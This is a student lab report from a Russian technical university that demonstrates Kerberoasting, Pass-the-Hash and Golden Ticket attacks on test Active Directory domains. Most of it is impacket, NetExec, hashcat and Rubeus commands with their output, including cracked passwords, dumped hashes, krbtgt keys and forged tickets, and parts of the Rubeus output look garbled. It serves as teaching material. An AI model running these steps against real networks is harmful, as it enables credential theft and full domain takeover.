



МИНОБРНАУКИ РОССИИ

Федеральное государственное бюджетное образовательное учреждение
высшего образования

«МИРЭА – Российский технологический университет»

РТУ МИРЭА

Институт комплексной безопасности и специального
приборостроения

Кафедра КБ-2 «Прикладные информационные технологии»

ОТЧЕТ ПО ИНДИВИДУАЛЬНОМУ ЗАДАНИЮ

Выполнил студент группы БИСО-01-19

Доронина А.А.

Принял преподаватель

Изергин Д.А.

Работа выполнена

«Оценка _____»

«__» _____ 202__ г.

Москва 2024

Оглавление

Kerberoasting.....	3
Атака Pass the hash.....	5
Golden Ticket (золотой билет).....	6

KERBEROASTING

Kerberoasting - это техника атак, используемая злоумышленниками для получения хэшированных паролей сервисных учетных записей в сетях на базе Active Directory.

Любой пользователь домена, когда хочет получить доступ к службе, определенной своим SPN, запрашивает TGS билет для этого сервиса. Так как TGS билет зашифрован на хеше пароля учетной записи, от имени которой работает сервис, то атакующий может попытаться перебрать пароль, хеш которого расшифрует полученный TGS билет.

Условие для проведения атаки: права уровня непривилегированного пользователя домена.

1. Вывод учетных сервисных записей:

impacket-GetUserSPNs -dc-host <dc.domain> <domain/user>

```
(kali@kali)-[~]
$ impacket-GetUserSPNs -dc-host dom-dc.dom.local dom.local/Internet
Impacket v0.11.0 - Copyright 2023 Fortra
```

Password:	ServicePrincipalName	Name	MemberOf	PasswordLastSet	LastLogon	Delegation
	http/internetpc:8080	svc_http		2024-01-11 17:02:56.678804	<never>	
	MSSQLSvc/DOM-DC.DOM.LOCAL:1433	main_sql_svc		2024-01-20 14:18:24.808588	2024-05-06 02:10:31.053106	
	MSSQLSvc/SQL.DOM.LOCAL:1433	rep_sql_svc		2024-01-20 15:52:59.051456	2024-05-06 02:11:15.882243	

2. Запрос TGS для всех сервисных учетных записей:

nxc ldap <dc.domain> -u user -p password --kerberoasting out1.txt

```
(kali@kali)-[~]
$ nxc ldap dom-dc.dom.local -u Internet -p Web12345678 --kerberoasting out1.txt
SMB 10.5.0.101 445 DOM-DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DOM-DC) (domain)
LDAP 10.5.0.101 389 DOM-DC [*] DOM.LOCAL\Internet:Web12345678
LDAP 10.5.0.101 389 DOM-DC Bypassing disabled account krbtgt
LDAP 10.5.0.101 389 DOM-DC [*] Total of records returned 3
LDAP 10.5.0.101 389 DOM-DC sAMAccountName: svc_http memberOf: pwdLastSet: 2024-01-11 17:02:56.678804
LDAP 10.5.0.101 389 DOM-DC $krb5tgs$23$*svc_http$DOM.LOCAL$DOM.LOCAL/svc_http*$2992e4ba1f19c
e062fc2ff7c790d0219229ec90fdbab073ec2ec9afcdf5d3fdd3271c6fe3c2451cdf9cfeaa80c28c97c65f08be6b86c928f3fbd8e60ea0d75b2c5
77c2a9cadaba21186ccd6fa25dfd44dadb17c13512d0e299c1f1fd788483a2b3553813c67863e29511e9b80524fdc50704a7df5f7caf3147c9b69
6a715696b9be337d9e5797fdda5061b802574571f16f71884b89fecab96e75dc7accb9a0a598a49aefb79cb8fb9c072c34f608d3544c0c9bba33b
16ca043e32b144b16c9a40569256f2a304de03dba9b747e5e5f6febb5d188a40f6be3eddb53cb9c3f747df6fbcf34420bdfab456972e81a4e570
b665d9c7fd97b258add45ee98753c2ee2f8abc48954d8cdc7657d8fa43279a6dbca163892711dc603a2978366ce4e8b703fe4231e6d536b26e852
089324973ed1e042f88fb5b6901ef606096517223be6a3ecae fdd319db292ad7a7424ba049af5c2798024d27d976df690c8838fd673e64c4b8954
7905f29341a578508356451a04087ae74168a180a34ab6f412ae5d60d7977b9d7c5a3b755605e3d7b9f70cfae876bd3feacc826677b4022367f5c
0157ebb84e10c166bf49266149831c9b75dccb9219b8566d4af1f7c60641f56400f147bbd9146e1f743fdb6ec70b31fbe218d801162e89355c04
6032d204da35d7e0ba421d1b891f5367de634761f688fa6445f0cd2ff656c674b626ee4b5f76ed8rc7dehfa8fe62233077224accc6de826e94fa
```

impacket-GetUserSPNs -dc-ip <dc ip> <domain/username:password> -request

- outputfile <file>

```
(kali@kali)-[~]
$ impacket-GetUserSPNs -dc-ip 10.5.0.101 dom.local/Internet:Web12345678 -request -outputfile out2.txt

Impacket v0.11.0 - Copyright 2023 Fortra
```

ServicePrincipalName	Name	MemberOf	PasswordLastSet	LastLogon	Delegation
http/internetpc:8080	svc_http		2024-01-11 17:02:56.678804	<never>	
MSSQLSvc/DOM-DC.DOM.LOCAL:1433	main_sql_svc		2024-01-20 14:18:24.808588	2024-05-06 02:10:31.053106	
MSSQLSvc/SQL.DOM.LOCAL:1433	rep_sql_svc		2024-01-20 15:52:59.051456	2024-05-06 02:11:15.882243	

3. Извлечение TGS билетов и подбор пароля:

Hashcat -m 13100 <file> <dictionary>

```
(kali@kali)-[~]
$ hashcat -m 13100 out2.txt rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.1+debian Linux, None+Assert)
* Device #1: pthread-sandybridge-Intel(R) Core(TM) i5-8250U

$krb5tgs$23$*svc_http$DOM.LOCAL$dom.local/svc_http*$8a9
efd3f9cc545b125f88df74bc386d8d0ee83ca2aedef177c07c53e31
a5fa48dfb9e23b7794bf58eec4a92cc68a314bcba88589332c0bc19
e3b44e54167ce41f6c14da28ac0e8b83566b1af9754a16c39e3ef46
ec56eade4f021c609f14edcbd1d9b1389d11ec9e45d63a1a2f1c896
b1a7187dfa76c35a0d05921908c7d72e2bf4b23da45b8fe8668bbd4
99966a11fd9d7108d07af8c5a08c12c3aaf614d553aed8e3a544bba
6c155e801942a333c6cbefa4a0056c98199d9d73454225b4285db38
58e07a4db57ab7a9a4bde68c9395b922e51a44f4b2c3b0d759cd821
1348c84ce9ad22f72a324518cada2aeab3d3e609b4f7926fec0a275
3da3d3b5c3fc671f9ddafd198ae:ZAQ!XSW@cde3
```

АТАКА PASS THE HASH

При NTLM аутентификации пароль не передается в открытом виде, вместо этого он хешируется на клиенте, и передается уже хеш клиента. Это позволяет атакующему пропустить этап предоставления пароля в открытом виде локальному провайдеру безопасности и сразу передать по сети хеш пароля, тем самым пройдя аутентификацию.

Данная атака получила название Pass The Hash и применима в тех случаях, когда атакующий извлек хеши NTLM, но пароль слишком сложен для перебора.

1. Вычисление NTLM хеша пароля:

```
(kali@kali)-[~]
$ echo -n Ivanov1978_mart | iconv -t utf16le | openssl md4
MD4(stdin)= 965029cd2376f6255d255c4d51f7a41e
(kali@kali)-[~]
```

2. Инструмент, который позволит проверить валидность хеша и найти системы для продвижения NetExec.

```
(kali@kali)-[~]
$ nxc winrm 10.5.0.105-107 -u 's.ivanov' -H '965029cd2376f6255d255c4d51f7a41e'
WINRM 10.5.0.105 5985 INTERNETHOST [*] Windows 10 / Server 2019 Build 19041 (name:INTERNETHOST) (domain:DOM.LOCAL)
WINRM 10.5.0.107 5985 SIDOROVPC [*] Windows 10 / Server 2019 Build 19041 (name:SIDOROVPC) (domain:DOM.LOCAL)
WINRM 10.5.0.106 5985 IVANOVPC [*] Windows 10 / Server 2019 Build 19041 (name:IVANOVPC) (domain:DOM.LOCAL)
WINRM 10.5.0.105 5985 INTERNETHOST [-] DOM.LOCAL\s.ivanov:965029cd2376f6255d255c4d51f7a41e
WINRM 10.5.0.107 5985 SIDOROVPC [-] DOM.LOCAL\s.ivanov:965029cd2376f6255d255c4d51f7a41e
WINRM 10.5.0.106 5985 IVANOVPC [-] DOM.LOCAL\s.ivanov:965029cd2376f6255d255c4d51f7a41e
Running nxc against 3 targets 100% 0:00:00

(kali@kali)-[~]
$ nxc smb 10.5.0.105-107 -u 's.ivanov' -H '965029cd2376f6255d255c4d51f7a41e'
SMB 10.5.0.105 445 INTERNETHOST [*] Windows 10 / Server 2019 Build 19041 x64 (name:INTERNETHOST) (domain:DOM.LOCAL) (signing:False) (SMBv1:False)
SMB 10.5.0.107 445 SIDOROVPC [*] Windows 10 / Server 2019 Build 19041 x64 (name:SIDOROVPC) (domain:DOM.LOCAL) (signing:False) (SMBv1:False)
SMB 10.5.0.106 445 IVANOVPC [*] Windows 10 / Server 2019 Build 19041 x64 (name:IVANOVPC) (domain:DOM.LOCAL) (signing:False) (SMBv1:False)
SMB 10.5.0.105 445 INTERNETHOST [*] DOM.LOCAL\s.ivanov:965029cd2376f6255d255c4d51f7a41e
SMB 10.5.0.107 445 SIDOROVPC [*] DOM.LOCAL\s.ivanov:965029cd2376f6255d255c4d51f7a41e
SMB 10.5.0.106 445 IVANOVPC [*] DOM.LOCAL\s.ivanov:965029cd2376f6255d255c4d51f7a41e (Pwn3d!)
Running nxc against 3 targets 100% 0:00:00

(kali@kali)-[~]
$ nxc rdp 10.5.0.105-107 -u 's.ivanov' -H '965029cd2376f6255d255c4d51f7a41e'
RDP 10.5.0.105 3389 INTERNETHOST [*] Windows 10 or Windows Server 2016 Build 19041 (name:INTERNETHOST) (domain:DOM.LOCAL) (nla:True)
RDP 10.5.0.106 3389 IVANOVPC [*] Windows 10 or Windows Server 2016 Build 19041 (name:IVANOVPC) (domain:DOM.LOCAL) (nla:True)
RDP 10.5.0.107 3389 SIDOROVPC [*] Windows 10 or Windows Server 2016 Build 19041 (name:SIDOROVPC) (domain:DOM.LOCAL) (nla:True)
RDP 10.5.0.105 3389 INTERNETHOST [*] DOM.LOCAL\s.ivanov:965029cd2376f6255d255c4d51f7a41e (Pwn3d!)
RDP 10.5.0.106 3389 IVANOVPC [*] DOM.LOCAL\s.ivanov:965029cd2376f6255d255c4d51f7a41e (Pwn3d!)
RDP 10.5.0.107 3389 SIDOROVPC [*] DOM.LOCAL\s.ivanov:965029cd2376f6255d255c4d51f7a41e
Running nxc against 3 targets 100% 0:00:00
```

3. Все скрипты набора impacket от тех, что дают возможность управления, до тех, что позволяют дампить учетные данные, также предоставляются возможность Pass The Hash. Для этого учетные данные передаются в формате domain/username@host -hashes :NT

```
(kali@kali)-[~]
$ impacket-secretsdump 'dom.local/s.ivanov'@10.5.0.106 -hashes :965029cd2376f6255d255c4d51f7a41e
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x77bbb181b0f692dd0ef62244b087fdee
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Администратор:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Гость:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:1bb07bd0ae4ecf8661af4ba1d62509e9:::
admin:1001:aad3b435b51404eeaad3b435b51404ee:1c9bb147d1c350aac3b9b67b2ca144c1:::
[*] Dumping cached domain login information (domain/username:hash)
```

GOLDEN TICKET (ЗОЛОТОЙ БИЛЕТ)

Когда клиент отправляет запрос AS-REQ, KDC в ответе AS-REP возвращает пользователю TGT билет, зашифрованный ключом учетной записи krbtgt. Таким образом, если атакующий узнает хеш пароля для krbtgt, он сможет самостоятельно создавать TGT билеты для любой учетной записи в домене, что дает доступ к любому ресурсу в этом домене. Такие билеты Kerberos называются золотыми.

Условие для проведения атаки: наличие ключа учетной записи krbtgt.

1. Получение ключа учетной записи krbtgt:

`impacket-secretsdump 'domain/user:password@ip-address' -just -dc-user krbtgt`

```
(kali㉿kali)-[~]
$ impacket-secretsdump 'cdb.local/domain_admin:D0m1n4t0r1337@10.5.0.4' -just -dc-user krbtgt
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a118aa9d80501c3677f15b210c0214b8:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:607e8c77dc526256753f60c847561c7ad732d6e4ded9c374c3f7f02f602e3844
krbtgt:aes128-cts-hmac-sha1-96:d674453b059510b4bd874cabbbe34f9b
krbtgt:des-cbc-md5:a8705e856db6f894
[*] Cleaning up ...
```

2. Получение SID домена:

`impacket-lookupsid 'domain/user:password@ip-address'`

```
(kali㉿kali)-[~]
$ impacket-lookupsid 'cdb.local/domain_admin:D0m1n4t0r1337@10.5.0.4'
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Brute forcing SIDs at 10.5.0.4
[*] StringBinding ncacn_np:10.5.0.4[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4170774641-386150424-2152198521
498: CDB\Контроллеры домена предприятия - только чтение (SidTypeGroup)
500: CDB\Администратор (SidTypeUser)
501: CDB\Гость (SidTypeUser)
502: CDB\krbtgt (SidTypeUser)
512: CDB\Администраторы домена (SidTypeGroup)
```

3. Создание золотого билета:

`impacket-ticketer -domain-sid <SID> -domain <domain>-aesKey <KEY> 'user'`

```
(kali@kali)-[~]
$ impacket-ticketer -domain-sid S-1-5-21-4170774641-386150424-2152198521 -domain cdb.local -aesKey 607e8c77dc526256753f60c847561c7ad732d6e4ded9c374c3f7f02f602e3844 'domain_admin'
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for cdb.local/domain_admin
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncASRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncASRepPart
[*] Saving ticket in domain_admin.ccache
```

3. Запрос TGS:

KRB5CCNAME=username.ccache impacket-smbclient

<domain>/user@<dc.domain> -k -no-pass

```
(kali@kali)-[~]
$ KRB5CCNAME=domain_admin.ccache impacket-smbclient cdb.local/domain_admin@dc-lab-3.cdb.local -k -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra

[-] Kerberos SessionError: KDC_ERR_TGT_REVOKED(TGT has been revoked)
```

KDC отозвал данный тикет, так как утилиты подделки билетов по умолчанию заполняют RID пользователя идентификатором 500, что соответствует администратору домена, а RID групп заполняется стандартным набором административных групп домена. Соответственно KDC после проверки не пропустит данный билет.

Но если задать в билете реальный RID пользователя и его реальный набор групп, то доступ будет предоставлен:

impacket-ticketer -domain-sid <SID> -domain <domain> -aesKey <KEY> -user-id <id> -groups <id-grops> 'user'

KRB5CCNAME=username.ccache impacket-smbclient <domain>/user@<dc.domain> -k -no-pass

```
(kali@kali)-[~]
$ impacket-ticketer -domain-sid S-1-5-21-4170774641-386150424-2152198521 -domain cdb.local -aesKey 607e8c77dc526256753f60c847561c7ad732d6e4ded9c374c3f7f02f602e3844 -user-id 1602 -groups 580,512,513 'domain_admin'
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for cdb.local/domain_admin
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncASRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncASRepPart
[*] Saving ticket in domain_admin.ccache

(kali@kali)-[~]
$ KRB5CCNAME=domain_admin.ccache impacket-smbclient cdb.local/domain_admin@dc-lab-3.cdb.local -k -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
```


Также для создания золотого билета можно использовать Rubeus с модулем golden, в котором нужно указать существующего пользователя и ключ krbtgt:

Rubeus.exe golden /user:<username> /aes256:<KEY> /ldap /nowrap /ptt

```
PS C:\windows\system32> .\Rubeus.exe golden /user:domain_admin /aes256:087E8C77D6C326256753F68C847561C7AD732D6E4DE09C374C3F7F82F682E3844 /ldap /nowrap /ptt

RUBEUS
v2.2.0

[*] Action: Build TGT

[*] Trying to query LDAP using LDAPs for user information on domain controller DC-LAB-3.CDB.LOCAL
[X] Error binding to LDAP server: Соединение LDAP недоступно.
[!] LDAPs failed, retrying with plaintext LDAP.
[*] Searching path 'LDAP://DC-LAB-3.CDB.LOCAL/DC=CDL,DC=LOCAL' for '(samaccountname=domain_admin)'
[*] Retrieving group and domain policy information over LDAP from domain controller DC-LAB-3.CDB.LOCAL
[*] Searching path 'LDAP://DC-LAB-3.CDB.LOCAL/DC=CDL,DC=LOCAL' for '(&(distinguishedname=CN=Администраторы_домени,CN=Users,DC=CDL,DC=LOCAL)(distinguishedname=CN=Пользователи удаленного управления,CN=Builtin,DC=CDL,DC=LOCAL)(objectid=5-1-5-21-4178774641-386158424-2152198521-513)(name=[31527348-816D-11D0-943F-00C04F89B9A9]))'
[*] Attempting to mount: \\dc-lab-3.cdb.local\sysvol
[*] \\dc-lab-3.cdb.local\sysvol successfully mounted
[*] Attempting to unmount: \\dc-lab-3.cdb.local\sysvol
[*] \\dc-lab-3.cdb.local\sysvol successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller DC-LAB-3.CDB.LOCAL
[*] Searching path 'LDAP://DC-LAB-3.CDB.LOCAL/CN=Configuration,DC=CDL,DC=LOCAL' for '(o=(netbiosname=*)(dnsroot=CDL,DC=LOCAL))'
[*] Building PAC

[*] Domain      : CDB.LOCAL (CDB)
[*] SID         : 5-1-5-21-4178774641-386158424-2152198521
[*] Userid       : 1002
[*] Groups       : 580,512,513
[*] ServiceKey   : 687E8C77D6C326256753F68C847561C7AD732D6E4DE09C374C3F7F82F682E3844
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey       : 687E8C77D6C326256753F68C847561C7AD732D6E4DE09C374C3F7F82F682E3844
[*] KDCKeyType    : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service      : krbtgt
[*] Target       : CDB.LOCAL

[*] Generating EncTicketPart

move the mouse pointer inside or press Ctrl+G.

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'domain_admin@CDB.LOCAL'

[*] AuthTime      : 11.06.2024 15:39:07
[*] StartTime     : 11.06.2024 15:39:07
[*] EndTime       : 12.06.2024 15:39:07
[*] RenewTill     : 18.06.2024 15:39:07

[*] base64(ticket.kirbi):
00TFFzCCBQzQwMjB8E8dAgEw0iCJCBAZhg0CMIID/0ADAgEw0uQ3CUNEQ1SMT8BTK1eMBygAwIBAgEwMBMdbntyYnRndBc3QBRCLkxPQ8Fw04IdyDCCASgAmIBeQEDAgE0ooIDt5CA73kt1274Mxkx3LLr1+D1aGZCkh3s5eud0M373P2Hdz075oDSInz38/16
28CvBg98N8Q888811MOUL/1LSBfwA2AXFzEzA1z6781g2Z5H+suB1TqPY1xxTH3DAXxQ3nIQXSAmxtpP3MS26x+u0U58h329R8dc4OMSHHr5eWtrRhWNYFmgahFJnzd0x1B4nAQfWfakUIV751kLV2M1VWF8MW32mg+vB41PmWU0pC1x3125PHS11RoAS5y1MSvW02bY8Aw/69
1Y4J0R31Crv1AK30705Euy87rbvnlO/zNyQa2yTyonPEJwZss6JEGpN1J8HnTyPkwa+PnC5D3RzXUu0vXWf0xRE536nQswRurM/Gv0/Q3r0W75szEzgrDPz3dF8aZ57t1fkeFazpCXUMd6T8Y1f0Lzpz0Lnf9JWEZgm8LLUIFORHMLpNkpul21hY3H8bZavGDAJ5F4v02
VZ3hLGPv0zwbXLLJcmuH1Ytg6anX1RDX8BwqJRUZ2YV9MTX6nbqBkXVMU15f358U099zESK8ak/qnLONP1CLO3C8eREGaknC+YHTICM1Xiv891rrAnttJ8RnQJCZQYCLf82Z12LOa/Wdmp08F7gkxq/g/XA1RML8DJDuvyVRJ6/u0zQ2LWd3L2P56PC6vqr793udKx+dcCH
KZu3x81s850z0vT2wQ2VtXaHMLMxvYhN1ZPCC+ovsp6dA/Kc165PMTCo0lyT1LMA0dKvKCT55U5n1Cct025TQYf7wml80NY2xwqzX7Ypke168x23K7xgJh2Z8X8+HMc1Mqdc1JPTUcbmpJp08J1cyLHv0P8y3/711Cq0D31209P18E8oX14n7P12+XccQ3hK0n
KP1k1l5n8Eutx8q81W8B8N0C0L1sh073ksCH1CnL88G6KusXYFAw6c2HML58pC03AKkLk21cbw8aXm/d8QvzUshcnDkXYPQnkZxYE+c6w9GqJ2G5+SnOCZg/m93KtSVzhnyISVJ1zY9HTEPUEk18vdC2Nq0w7c2xdP1G4hG3InUhn+yovv4V5yQuNT05uH0S8F6m2Mn1sD075av/
E/1t77FGsgT3b0L0fzaf09Jg0vtyYY1qZpLPK8BwGy/M0oMAHANPVD41G0KgyC+GQxLyoYRzqMwZv28YruhrAJTtHqafvXMT1z1qYCN+zY9cqe1Xh3N5/71X0W18/h1caNKL0b5z1a1Uko4H0M1HkoAMCAQC1geKEgeZygeMgeCgg0wgd0wgd0gdegKZApoAMCAKKhI0gCgB
9uID59fULPAFFPQ83tuyPLV1E0MU15v45BLchKs3Q0KCLXKPPQ8Fm0kWF6ADAGE8oR8wDnsMZG9FYWLuX2FK0B1UowCDBQ8A4AAB8EYDZ1mJQWJJEKMTI20TA3WQUGASyMDI0MDYXMTYmZkwn1qH8KSPMJAyNDA2MTYmJMSMD0pXkEYDZ1mJQWJJEKMTI20TA3WQUGLW
18RE1uTE9DQyphJAc0ACQ0NF7AT0wZrcn3023Q0CUNEQ1SMT8BTKA==

[*] Ticket successfully generated
```

Использование опции /ldap дает ряд преимуществ, например, билет заполнен реальными данными пользователя.